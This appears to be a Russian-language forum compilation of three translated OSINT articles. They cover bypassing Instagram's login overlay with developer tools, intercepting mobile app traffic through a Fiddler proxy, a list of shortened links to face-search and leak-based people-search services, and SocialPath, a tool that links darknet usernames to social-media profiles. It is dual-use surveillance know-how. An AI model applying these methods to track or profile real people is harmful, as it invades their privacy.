Иногда просмотра исходного кода бывает недостаточно, для таких случаев в браузерах есть инструменты, предназначенные для отладки веб-страниц, которые мы также можем использовать. Например, чтобы обойти защиту в Instagram (когда появляется модальное окно авторизации на всю страницу и отключается прокрутка) при просмотре чужого профиля неавторизировавшись, откройте инструменты разработчика при помощи F12 или горячих клавиш Ctrl+Shift+I, наведите мышь на модальное окно, удалите его кнопкой Delete и уберите свойство с Body "overflow: hidden", чтобы вернулась возможность прокрутки.

Я не могу здесь описать подробно каждый инструмент разработчика. Не потому, что мне лень, а потому, что я не донца знаю, как использовать их все эффективно. Есть несколько хороших руководств, которые научат вас этому, при этом, скорее всего, вы будете использовать лишь пару описанных в этих статьях трюков (как и я), однако всегда интересно посмотреть, как работает магия осинта на разных страницах. Вы можете начать с OSINT Curious и их краткого экскурса в инструменты разработчика. Затем пойти дальше и перейти к ускоренному курсу по Google Chrome Developer Tools, ну а потом переключиться на Джастина Зейтца и ознакомиться с его видео о расширенном анализа веб- сайтов для OSINT.

Интересно, что вы также можете использовать инструменты разработчика в Chrome для отладки «удаленного» браузера на устройствах, работающих под Android. Все, что вам нужно, это USB-кабель, установленные драйверы Android Debug Bridge (adb) на вашей рабочей машине и Google Chrome на обоих устройствах. Как это все правильно настроить можно найти в [официальной документации](https://developers.google.com/web/tools/chrome-devtools/remote- debugging) от Google. Я все еще не уверен, как бы я использовал эту функцию в моей работе и OSINT исследованиях, хотя ...

Инструменты разработчика также дают вам возможность эмулировать мобильное устройство и визуализировать веб-сайт в точности, будто он открыт в нем. Эта функция называется «Режим адаптивного дизайна».

«Время стать мобильным»
Люди все меньше времени проводят за работой на ноутбуке и у настольного ПК, и все чаще сидят за мобильными устройствами. Особенно много времени они тратят в приложениях (посмотрите статистику «US Time Spent with Mobile 2019»). Мы еще не пережили смерть компьютерного браузера, и, даже если у многих существующих мобильных приложений существует обычный веб-интерфейс, он не является панацеей, на которой мы можем остановиться. Как правило, приложения хранят в себе множество тайн, которые невозможно найти в их браузерных альтернативах. Стоит также отметить, что некоторые разработчики вообще не создают веб-интерфейс. Это особенно актуально для приложений социальных сетей, таких как Snapchat или TikTok. Приложения, которые чрезвычайно популярны и поэтому чрезвычайно интересны для OSINT-исследователей.

Итак, что мы можем сделать, когда нужно исследовать приложение, которое доступно только на смартфоне (или на ПК, но в виде отдельного клиента)?

Во-первых, загуглить! Сообщество OSINT/Infosec обычно делится обширными знаниями, и если кто-то уже пытался «хакнуть» искомое приложение, вероятно, вы сможете обнаружить новости об этом. Не забудьте проверить анонсы разработчиков. Проверьте, сделали ли они какие - нибудь функции доступными через браузеры, проверьте API, а также бета-версии. Вы также можете прошерстить сабреддиты или темы на форумах.

Ничего не нашли? Да начнется веселье!
Большинство мобильных приложений используют протокол HTTP(S), чтобы общаться с серверами. TikTok использует HTTP, Snapchat использует HTTPS, Tinder использует смесь HTTPS и HTTP. Вы поняли мою мысль.

HTTP - это протокол, с которым достаточно просто работать, при этом, используя прокси. Прокси-сервер - «это промежуточный сервер в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером. Когда компьютер отправляет запросы на сайты и службы в Интернете, прокси-сервер перехватывает эти запросы и затем связывается с веб-серверами, как посредник» (источник: https://www.cloudflare.com/learning/cdn/glossary/reverse- proxy/)

На компьютере можно использовать множество прокси-серверов: WinGate или FreeProxy в Windows, SquidMan в MacOS. Но есть и другое решение, которое объединяет мощь прокси-сервера и инструментов разработчика: Fiddler, «бесплатный прокси-сервер для отладки веб-страниц для любого браузера, системы или платформы», созданный в 2003 году Эриком Лоуренсом.

Fiddler
Перво-наперво: установите Fiddler на компьютер, который вы хотите использовать при анализе. Затем возьмите смартфон или запустите виртуальную машину, которую вы будете использовать для манипуляций с приложениями. Обе системы должны быть в одной сети.

Моя настройка проста: я использую смартфон на Android с 4G-подключением, параллельно синхронизируя его с ноутбуком, на котором установлен Fiddler, через WiFi.

Следующий шаг - найти IP-адрес компьютера, который будет служить прокси- сервером. Для этого, в командной строке Windows введите ipconfig. В терминале MacOS / Linux: ifconfig. Затем, запишите или сфотографируйте его.

После этого запустите Fiddler, перейдите в «Инструменты», «Параметры…» и остановитесь на вкладке «Подключения». Установите флажок «Разрешить подключение удаленным компьютерам». Обратите внимание, что после сохранения настроек, Fiddler будет прослушивать порт 8888.

Далее мы должны настроить свой телефон / виртуальную машину для использования прокси. На моем старом Samsung я открываю настройки, нажимаю «Wi-Fi», удерживаю соединение, которое используется в данный момент и выбираю «Изменить настройки сети», после этого ставлю галочку «Показать дополнительные параметры», перехожу чуть ниже и выбираю «Вручную» в разделе «Прокси». Здесь я вписываю IP-адрес, найденный ранее, на компьютере. И указываю порт 8888.

Остался последний шаг. Его необходимо выполнить, чтобы можно было работать с HTTPS трафиком. Вернитесь к Fiddler и посмотрите в левый нижний угол - черное поле ввода с зеленым текстом. Это поле «QuickExec». Введите в этом поле следующую команду и нажмите «Enter».

Code:Copy to clipboard

about:config

На правой панели появится список переменных. Добавьте в этот список:

Code:Copy to clipboard

fiddler.certmaker.ValidDays

и присвойте значение 820. Это изменит дату истечения срока действия сертификата, который мы установим далее. Мы делаем это, чтобы в дальнейшем избежать ошибок на Android.

Теперь давайте установим сертификат на смартфон. Запустите на нем браузер и откройте http://ipv4.fiddler:8888.

Загрузите и установите сертификат FiddlerRoot. Настройка окончена, теперь весь HTTP (S) трафик с вашего телефона будет проходить через Fiddler.

Проверьте настройки, посерфив какие-нибудь веб-сайты на телефоне.

Теперь, когда прокси работает, давайте настроим Fiddler, чтобы скрыть тот трафик, который мы не хотим видеть. Перейдите на вкладку «Фильтры» и в раскрывающемся списке «Нет фильтра хоста» выберите «Скрыть следующие хосты». Введите IP-адрес прокси, установите флажок «Использовать фильтры» и в «Действиях» выберите «Запустить набор фильтров сейчас».

Опять же, я не являюсь веб-разработчиком или тестировщиком приложений, поэтому идея в том, чтобы упростить действия, как будто это низкоуровневый реверс. Очистите сессии, которые Fiddler собрал, нажав «X» в строке меню.

Запустите приложение, которое вы хотите исследовать. Давайте начнем с TikTok в качестве примера. При запуске приложения отображается несколько подключений к api2–16-h2.musical.ly и другим поддоменам в домене music.ly. Выберите вкладку «Инспекторы» и перейдите в «TextView». Когда вы выбираете сеанс, Fiddler декодирует и показывает его как текстовый объект.

Советую начинать с любого известного вам профиля: любая учетная запись, о которой вы знаете какую-либо информацию, которая может быть скрыта. К примеру, давайте поищем аккаунт «Лорен Грей» или «самый успешный аккаунт за пределами Китая». При любой активности, Fiddler будет заполняться "звонками" с разных URL-адресов.

Так как запросов множество, из этого множества нам нужно найти только те, которые будут относиться к искомой учетной записи. Один из простых способов сделать это - переключиться на «ImageView» и перемещаться вверх и вниз до тех пор, пока не найдете нужные изображения, относящиеся к актуальной информации.

Мне потребовалось просмотреть 6 запросов, чтобы найти "тот самый". Информация поступила с поддомена api2–16-h2.musical.ly, - это краткая сводка о «Лорен Грей». Уже неплохо, а еще лучше то, что она отформатирована в формате JSON (вы также можете переключиться на вкладку «JSON» для более удобного просмотра) и содержит интересные поля, такие как:

Code:Copy to clipboard

user
    uid=934514
    unique_id=lorengray    

    avatar_larger
      url_list
        http://p16.muscdn.com/img/musically-maliva-obj/1660343861335046~c5_1080x1080.jpeg

    video_icon
      url_list
        http://p16.muscdn.com/img/musically-maliva-obj/1660344574058502~tpl-1_q65.webp

    youtube_channel_id=UCRYe4G08okte96rmocFNU1g
    youtube_channel_title=Loren Gray

Как можно заметить, мы получили ссылку на YouTube-канал, URL аватарки в высоком разрешении и URL-адрес видео. Некоторые из этих элементов не были доступны при просмотре страницы профиля в приложении, да и в веб-интерфейсе (да, у TikTok есть веб-интерфейс!). И этот JSON дает нам данные, не доступные обычному пользователю.

Следующий запрос в списке - это еще один JSON-ответ, но на этот раз, гораздо больше. Он содержит поле aweme_list с описанием каждого видео.

Теперь вы знаете, что приложение TikTok отправляет запросы к api2–16-h2.musical.ly для получения ответов в формате JSON. Вы знаете, что за имя пользователя отвечает параметр unique_id и что изображения хранятся по адресу http://p16.muscdn.com/img в формате jpeg od webp.

Вечеринка окончена
Теперь давайте посмотрим на то, как работает Snapchat.

Сначала я выйду из TikTok, дождусь, пока запросы к его серверам TikTok прекратятся, и очищу сеансы, нажав «X» и выбрав «Удалить все». Когда все будет готово, можно запускать Snapchat.

Snapchat делает много запросов к * .snapchat.com HTTP (S) серверам. Я буду действовать точно также, как и раньше, и перейду к панели поиска. На этот раз я постараюсь найти «Короля Snapchat», DJ Khaled. Но у меня не получится это сделать. Приложение пытается подключиться к http://aws.api.snapchat.com:443, но не получает ответа. Что-то мешает ему получить доступ к серверам: Fiddler.

Snapchat и многие другие приложения используют систему для защиты пользователя от перехвата и дешифрования «посредником», [certificate pinning](https://dzone.com/refcardz/securing-mobile-applications-with-cert- pinning?chapter=2).

Таким образом, приложение доверяет только определенным сертификатам. Добавление ненадежного сертификата в систему, такого как тот, который поставляется с Fiddler, не работает, приложение не сможет установить соединение.

Можно ли обойти эту защиту? Да, такие инструменты, как Frida, помогут это сделать, но это выходит за рамки данной статьи.

Плохая новость заключается в том, что во многих приложениях реализована система работы только с доверенными сертификатами, чтобы прокси-сервер не работал с HTTPS-трафиком.

Хорошая новость заключается в том, что certificate pinning не позволяет белым хакерам и исследователям находить ошибки в приложениях (и это плохо). Поэтому разработчики приложений ввели дополнительные «Настройки для Whitehat», чтобы разрешить перехват и расшифровку трафика HTTPS.

Facebook применил эти настройки для приложений Facebook, Messenger и Instagram.

Вывод
Мобильные приложения являются хорошим источником информации о людях для различных расследований, и чтобы оптимизировать поиск, необходимо уметь работать с трафиком и распознавать в нем полезные детали. В этой статье я показал на практический примерах то, как правильно это делать и то, какие проблемы можно встретить на своем пути.

оригинал этого материала на английском можно [здесь](https://medium.com/@BTF117/finding-osint-eggs-in-mobile- apps-f99d823058f9).
автор перевода Moody

Здесь представлены различные агерегаторы информации собранные с утечек с большим количеством баз. А также интересные поисковые ресурсы и инструменты OSINT. (Разведка на основе открытых источников), которые можно использовать для поиска информации. ​

Поиск По Фотографиям
Поиск по лицу

• http://catcut.net/vvoL + @VkUrlBot

• http://catcut.net/DvoL

• http://catcut.net/JvoL

• http://catcut.net/OvoL

Поиск первоисточника картинки и всех доменов где она хостится

• http://catcut.net/UvoL

• http://catcut.net/YvoL

• http://catcut.net/4woL

• http://catcut.net/bwoL

Поисковые Cистемы Людей
Мир

• http://catcut.net/pwoL

• http://catcut.net/vwoL

• http://catcut.net/GwoL

• http://catcut.net/KwoL

• http://catcut.net/KwoL

Cтраны

• http://catcut.net/VwoL

• http://catcut.net/WwoL

• http://catcut.net/YwoL

• http://catcut.net/ZwoL

• http://catcut.net/3xoL

• http://catcut.net/1xoL

Могу дополнить если будет заинтересованность

SocialPath - это приложение написанное на Django для сбора информации в социальных сетях по конкретному имени пользователя. Оно собирает сведения из Twitter, Instagram, Facebook, Reddit и Stackoverflow, сортирует по частоте используемых слов, хэштегам, времени, упоминаниям, смежным аккаунтам и представляет в виде диаграмм с использованием D3js. Такой подход помогает отслеживать пользователей с уникальными никнеймами в даркнете.

Введение
В моих предыдущих статьях вы могли прочитать о том, как собирать [геопространственные данные](https://medium.com/@woj_ciech/state-of- industrial-control-systems-in-poland-and- switzerland-656e2e363fe3?source=---------4------------------), информацию о [доменах](https://medium.com/hackernoon/osint-tool-for-visualizing- relationships-between-domains-ips-and-email- addresses-94377aa1f20a?source=---------13------------------), находить [утечки ](https://medium.com/@woj_ciech/leaklooker-part-3-dna-samples-internal-files- and-more-967e794fa031)или [вредоносные программы](https://medium.com/secjuice/chasing-malware-and-c-c-servers-in- osint-style-3c893dc1e8cb?source=---------17------------------). Настало время заглянуть в социальные сети с точки зрения OSINT.

Социальный медиа-интеллект (SOCMINT) одна из главных составляющих OSINT, непрерывно связанная с агентурной разведкой (HUMINT). В настоящее время люди используют различные платформы для обмена информацией о себе и не догадываются о том, кто и зачем может использовать сведения об их привычках, интересах, посещенных местах и, очевидно, мнении. Мониторинг социальных сетей широко используется различными агентствами для поиска по используемым пользователями словосочетаниям, хэштегам, для отслеживания активности и установлении взаимосвязей. Есть много сценариев, при которых SOCMINT полезен, например, при слежке за активностью бот-сети в твиттере, поиске фотографий по геолокациям или выявлением действующих преступников. Последнее возможно благодаря использованию одного и того же никнейма одним пользователем во всех социальных сетях. Это обычное дело, если вы популярны и хотите, чтобы вас все знали лишь по одной строке. Однако, всегда стоит помнить, что смешивать личность из даркнета с хакерских форумов, с реальной страницей из социальных сетей - не есть хорошо.

Как правило, такой подход обеспечивает молниеносную победу правоохранительных органов над вами. Я читал множество кейсов, в которых торговцы наркотиками из даркнета использовали один и тот же ник на сайте торговой площадке и в Твиттере. Отсутствие базовой операционной безопасности (OPSEC) привело к поимке этих парней.

Я провел исследование, в ходе которого выяснил, что повсеместное использование одних и тех же никнеймов во всех социальных сетях довольно распространено для пользователей даркнета.

Исследование
На основании открытых уголовных дел, обвинительных заключений, объявлений Министерства юстиции и различных статей, я собрал методы, которые правоохранительные органы используют для расследования дел с пользователями даркнета, вовлеченных в незаконную деятельность. Лично меня чтение таких вещей, как рассекреченные документы, запросы, жалобы или поощрения FOIA увлекают больше, чем любые книги. Читая такие сведения, вы можете получить представление о каком - то конкретном деле, сделать свои собственные выводы и исследовать методы, используемые правоохранительными органами для деанонимизации пользователей Darknet.

Для проведения исследования, я выделил для себя один форум в даркнете, с которого и будут собраны общедоступные сведения о преступниках, чтобы затем найти их в различных социальных сетях, таких как Facebook, Instagram, Twitter, Stackoverflow и Reddit. Здесь стоит сделать важное замечание - выбор форума играет очень важное значение в итоговых результатах, которые будут получены по окончанию расследования. Если вы выбрали какой - нибудь македонских сайт, то и искать аккаунты преступников стоит в соответствующих соц. сетях.

Повторюсь, что данный способ мы будем использовать для деанонимизации пользователей, которые используют один и тот же никнейм на всех сайтах, на которых они регистрируются. Чтобы убедиться, что оба аккаунта (даркнет и клирнет) принадлежат одному и тому же лицу, проводится дополнительный анализ фотографий, слов, таймлайнов или интересов.

Одни и те же аккаунты
Давайте рассмотрим дело Соединенных Штатов против Абдуллы Альмашвали.

Поиск по адресу электронной почты, связанный с публичным PGP ключом, который был указан на одном из сайтов, позволил обнаружить профили его владельца в социальных сетях. После этого правоохранительные органы получили ордер на "обыск" для каждого аккаунта с доступом к личной переписке. Основной ошибкой здесь было использование одного и того же ника из электронной почты на остальных сайтах, на которой регистрировался преступник.

Все сайты социальных сетей регулируются надлежащим законодательством, и правоохранительные органы могут выудить из них достаточно информации, получив ордер на обыск. Ниже вы можете найти пример того, какую информацию правоохранители вытащили из аккаунта на Reddit, из дела против Маркоса Пауло Де Оливьерия-Аннибале.

Фотографии
Повсеместное использование одного и того же никнейма - не лучшая идея, но повсеместное изображение одних и тех же изображений в профиле - еще хуже. Дело NarcoBoss (Соединенные Штаты Америки против Генри Коффи) показывает, что одним из поводов для объединения двух аккаунтов была одна и та же картинка профиля, которую он использовал на двух рынках даркнета.

Иногда одна картинка вместо тысячи слов, а дело «США против Уайетта Пасека» показывает, что после выявления подозреваемых в социальных сетях все было предельно ясно. По какой-то причине торговцы наркотиками хотят чувствовать себя рок-звездами и повсюду хвастаться своим богатством, но в конце концов это оказывается лишь еще одним доказательство в суде.

Словосочетания
Интересным аспектом исследований такого типа является сравнение использованных слов. Специалистам по лингвистическому анализу часто приходится определять настоящую страну происхождения человека. Некоторые слова, предложения или идиомы имеют уникальное значение в разных странах, и на основе этого проводится исследование, чтобы можно было связать стиль письма людей. Аккаунты OxyMonster были объединены из-за «большого сходства в использовании слов и знаков препинания».

У людей есть привычки совершать одну и ту же ошибку снова и снова в определенных словах, это также может быть использовано против них.

Кроме этого, при проведении экспертизы, содержимое каждого сообщения проверяется вручную, чтобы установить связь с ранее найденными фотографиями, сообщениями в социальных сетях и другой информацией. Еще одно доказательство по делу Med311n свидетельствует о том, как агенты нашли фотографии с книгой «Гоморра» на заднем плане и нашли упоминание о ней на форуме Уолл-стрит- маркета.

Ручной просмотр всех постов, твитов или фотографий, возможно связанных с отдельным человеком, очень утомителен и требует много времени.

Упоминания о других пользователях также интересуют следователей, поскольку они создают сеть, с которой взаимодействует подозреваемый. Среди найденных упоминаний могут быть его настоящие друзья не соблюдающие информационную гигиену, виртуальные друзья или другие его аккаунты.

Временные метки
Не стоит отчаиваться, если вы не нашли достаточно компромата. Не забывайте, что вся активность пользователей в социальных сетях отслеживается и логгируется. Большое значение играют временные метки, которые показывают, когда пользователь каким-либо образом был активен, опубликовал фотографию, прокомментировал или взаимодействовал с кем - то. Я снова упомяну дело Med3l1n в качестве примера того, как можно связать действия социальных сетей и человека из Darknet. Отсутствие активности на рынке в даркнете и фотографии из отпуска в Майами, в социальных сетях, позволили правоохранителям выяснить, что это один и тот же человек.

Любой, кто проводит такое расследование, должен учитывать часовой пояс. Ранее мы искали страну происхождения при помощи лингвистической экспертизы. Но поводом, чтобы вас найти, может послужить и часовой пояс. Говорить о том, что вы работаете с 9 до 5 и сообщать при этом часовой пояс - не лучшая идея.

Прочее
Это смелый поступок - зарегистрировать товарный знак, связанный с вашим профилем в DarkNet. Любой, кто занимается криминальной деятельностью в даркнете, должен ожидать, что его никнейм уже есть в базе данных правоохранительных органов, и каждое упоминание о нем отслеживается или будет отслеживаться в виртуальном мире и в реальной жизни.

Конечно, это не решающее доказательство, а лишь возможная улика для всего дела, которое включает перехват посылок, физическое наблюдение или записи мобильных звонков. Но разведка социальных сетей играет решающую роль во всем расследовании.

Проблема, которая появилась при проведении исследования, заключалась в том, как сравнивать пользователей из разных социальных сетей. А еще как сравнить их активность, аватарки, используемые слова и сообщества?

SocialPath

SocialPath - это простое приложение для поиска учетных записей в таких социальных сетях, как Facebook, Instagram, Twitter, Reddit и Stackoverflow. В качестве бэкенда я выбрал Django, а на фронте активно используется D3js для рисования графиков. Получаемые результаты представлены в виде плиток с изображениями профиля и базовой информацией, такой как биография, URL из биографии, подписчики или друзья. Страница сведений содержит диаграммы, основанные на активности пользователя, то есть heatmap календарь, диаграмму lolipop, диаграмму прокрутки и wordcloud.

При вводе имени пользователя, происходит редирект в панель инструментов с учетными записями, которые вы уже искали ранее. Начнется процесс сбора информации и в течение пары минут, будет получено изображение профиля вместе с основной информацией о нем.

Если искомый профиль действительно существует, вы можете нажать на его фотографию и перейти на страницу с подробной информацией. Если пользователь с указанным никнеймом не существует, вы увидите сведения о похожих учетных записях. Эта опция также активирована по-умолчанию в разделе WorldCloud, если учетная запись существует.

Полные данные включают в себя вышеупомянутые интерактивные диаграммы для каждого существующего пользователя. Календарь Heatmap, известный многим из Github, показывает, когда пользователь совершает какое - либо действие, к примеру, публикует фотографию или твит. Нажатие на каждый активный квадрат перенаправит вас к списку действий, совершенных с этого конкретного дня.

На диаграммах Lolipop собраны хэштеги с Twitter, Facebook и Instagram, теги с Stackoverflow и сабреддиты с Reddit. Он показывает, сколько раз пользователь включал хэштег, сколько раз он был активен в определенном теге или субреддите.

Частота слов иллюстрируется с помощью таблицы прокрутки. Трудно визуализировать все слова, использованные человеком единожды. Поэтому я собираю 500 самых популярных слов, используемых пользователем в комментариях, твитах, постах и т. Д. И их частоту.

Wordclouds используются для представления разнообразия взаимодействия с пользователем. Например, для Reddit он показывает положительные отзывы, поэтому легко проверить конкретный пост с конкретными отклонениями. Это быстрый способ определить, нравится ли пользователю сообщество и какой пост набрал больше или меньше голосов. После нажатия на конкретный номер, произойдет перенапревление на соответствующий пост или комментарий.

Ограничения
Приложение использует API-интерфейсы, поэтому вам необходимо указать все соответствующие ключи в файле конфигурации. Из-за действующей политики Facebook загружаются только те сообщения, для которых API не нужен. Также Stackoverflow не требует аутентификации для менее чем 300 запросов в день (я ее не стал реализовывать). Instagram позволяет использовать их общедоступный API, но иногда с ним возникают проблемы, поэтому лучше собственноручно скопировать Cookie в файл с конфигурацией.

Вы можете посмотреть все таски в интерфейсе администратора.

Это первая версия, и, возможно, в ней есть некоторые недостатки, поэтому любая проблема или запрос на получение ответа приветствуются.

Если вам нужна помощь в OSINT-расследовании, вы можете написать мне @the_wojciech, если нет, можете просто следить за моими исследованиями.

Вывод

По понятной причине я не буду публиковать результаты своего исследования, но вы можете повторить это самостоятельно. Занимаясь нелегальной деятельностью в даркнете, следует помнить, что используемый вами никнейм априори скомпроментирован, и не должен использоваться где - то еще. Суровая реальность часто оказывается жестокой, и преступники очень часто попадают в собственные ловушки. SocialPath показывает, что создавать приложения для разведки не сложно, поэтому у правоохранительных органов припасены более мощные инструменты, обладающие огромной базой данных с ранее захваченных рынков и предполагающие мониторинг в реальном времени.

оригинал материала на английском [здесь](https://www.offensiveosint.io/socialpath-track-users-across-social- media-platforms/)
перевод канал Cybred